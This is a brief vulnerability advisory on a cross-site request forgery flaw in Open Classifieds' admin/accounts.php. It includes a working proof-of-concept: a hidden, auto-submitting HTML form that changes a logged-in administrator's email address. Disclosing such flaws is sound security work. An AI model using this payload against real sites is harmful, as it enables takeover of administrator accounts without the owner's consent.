Cross-site Request Forgery (CSRF) in Open Classifieds

High-Tech Bridge SA Security Research Lab has discovered vulnerability in Open Classifieds which could be exploited to perform cross-site request forgery attacks.

1) Cross-site request forgery (CSRF) in Open Classifieds
The vulnerability exists due to insufficient validation of the request origin in admin/accounts.php. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and modify administrator`s email address.
Exploitation example:
<form action="http://host/admin/accounts.php" method="post" name="main">
<input type="hidden" name="name" value="myaccount">
<input type="hidden" name="email" value="[email protected]">
<input type="hidden" name="account" value="">
<input type="hidden" name="action" value="new">
</form>
<script>
document.main.submit();
</script>